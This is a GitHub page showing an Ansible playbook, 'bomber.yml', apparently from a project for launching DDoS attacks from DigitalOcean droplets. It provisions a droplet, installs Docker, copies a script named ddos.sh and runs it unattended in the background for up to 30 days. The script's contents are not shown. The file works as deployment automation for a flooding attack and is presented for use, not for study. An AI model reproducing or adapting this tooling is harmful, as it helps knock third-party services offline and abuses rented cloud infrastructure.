forked from korol-sas/digitalocean-bombardier-1
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbomber.yml
47 lines (41 loc) · 1007 Bytes
/
bomber.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
---
- name: Create droplet and establish communication
hosts: localhost ansible_connection=local
roles:
- do_create_droplet
- hosts: do
remote_user: root
roles:
- security_update
tasks:
- name: add an apt signing key
apt_key:
url: https://download.docker.com/linux/ubuntu/gpg
state: present
- name: add docker-ce repo
apt_repository:
repo: deb https://download.docker.com/linux/ubuntu bionic stable
state: present
update_cache: true
- name: install docker
apt:
name: "{{ item }}"
state: present
update_cache: true
loop:
- apt-transport-https
- ca-certificates
- curl
- software-properties-common
- containerd.io
- docker-ce-cli
- docker-ce
- name: copy script
copy:
src: ddos.sh
dest: ~/ddos.sh
mode: '0744'
- name: execute script
shell: ./ddos.sh
async: 2592000
poll: 0